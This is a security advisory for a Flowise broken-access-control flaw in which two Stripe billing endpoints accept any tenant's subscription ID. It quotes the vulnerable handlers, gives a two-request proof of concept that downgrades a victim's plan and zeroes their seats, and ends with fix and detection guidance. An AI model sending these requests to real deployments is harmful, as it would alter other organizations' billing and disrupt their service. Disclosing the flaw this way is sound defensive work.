CVE-2026-70476: Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation

packages/server/src/enterprise/routes/organization.route.ts exposes POST /update-additional-seats and POST /update-subscription-plan. In organization.controller.ts, updateSubscriptionPlan reads subscriptionId, newPlanId and prorationDate from req.body and hands them to identityManager.updateSubscriptionPlan. updateAdditionalSeats reads subscriptionId, quantity and prorationDate and passes them to the identity manager as well. Neither handler checks that the subscription belongs to req.user.activeOrganization; the server trusts the client's Stripe ID instead of looking it up from the caller's organization.

The proof of concept is two requests. The attacker sends POST /api/v1/organization/update-subscription-plan with a victim's sub_... ID and a newPlanId for a free plan. Then they send POST /api/v1/organization/update-additional-seats with quantity 0. The advisory says the ID may come from the organization read endpoint or other exposed references.

The consequences listed are unauthorized upgrades to higher-priced plans, unintended charges from changed seat counts, and service disruption from downgrades. This concerns enterprise or cloud-style deployments that use Stripe billing, not self-hosted installs that have no subscription set up. The attacker needs a valid session and the victim's subscription ID.

The flowise npm package, version 3.1.2 and earlier, where the enterprise organization and Stripe billing features are enabled. Check the version:

npm ls flowise

Instances without Stripe billing configured have no subscriptions to manipulate through these routes.

Upgrade flowise to 3.1.3.

npm install -g [email protected]

The fix is in pull request 6321. The advisory lists no workaround. If you run a multi-tenant Flowise service, check each organization's plan and seat count in Stripe against what you expect, and block the two billing routes at the proxy for users who should not use them.

Look in access logs for POSTs to /api/v1/organization/update-subscription-plan and /api/v1/organization/update-additional-seats where the subscriptionId in the body differs from the caller's own organization. In the Stripe dashboard, review the event log for subscription updates (plan changes, quantity changes) that no one in that organization requested, especially seat quantity set to 0 or moves to a free plan.

Summary

Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId.

This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.

Details

Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context.

File

packages/server/src/enterprise/routes/organization.route.ts

Affected routes:

router.post('/update-additional-seats', organizationController.updateAdditionalSeats)
router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan)
updateSubscriptionPlan

File

packages/server/src/enterprise/controllers/organization.controller.ts

public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) {
    const { subscriptionId, newPlanId, prorationDate } = req.body

    const identityManager = getRunningExpressApp().identityManager

    const result = await identityManager.updateSubscriptionPlan(
        req,
        subscriptionId,
        newPlanId,
        prorationDate
    )

    return res.status(StatusCodes.OK).json(result)
}

The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.

Missing validation: subscriptionId belongs to req.user.activeOrganization

updateAdditionalSeats

public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) {
    const { subscriptionId, quantity, prorationDate } = req.body

    const identityManager = getRunningExpressApp().identityManager

    const result = await identityManager.updateAdditionalSeats(
        subscriptionId,
        quantity,
        prorationDate
    )

    return res.status(StatusCodes.OK).json(result)
}

Again, the subscriptionId is taken directly from the request body without verifying ownership.

PoC

Step 1 - Obtain victim subscriptionId

This identifier may be obtained via the organization read endpoint or other exposed references.

Example:

sub_YYYYYYYYYYYY

Step 2 - Modify victim subscription

POST /api/v1/organization/update-subscription-plan
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json

{
  "subscriptionId": "sub_YYYYYYYYYYYY",
  "newPlanId": "free_plan_id",
  "prorationDate": 1735689600
}

Step 3 - Change seat quantity

POST /api/v1/organization/update-additional-seats
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json

{
  "subscriptionId": "sub_YYYYYYYYYYYY",
  "quantity": 0,
  "prorationDate": 1735689600
}

Impact

An authenticated attacker can manipulate the Stripe subscription of other organizations.

Possible consequences include:

• Unauthorized subscription upgrades to higher-priced plans
• Manipulation of paid seat quantities leading to unintended charges
• Service disruption through plan downgrades

Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.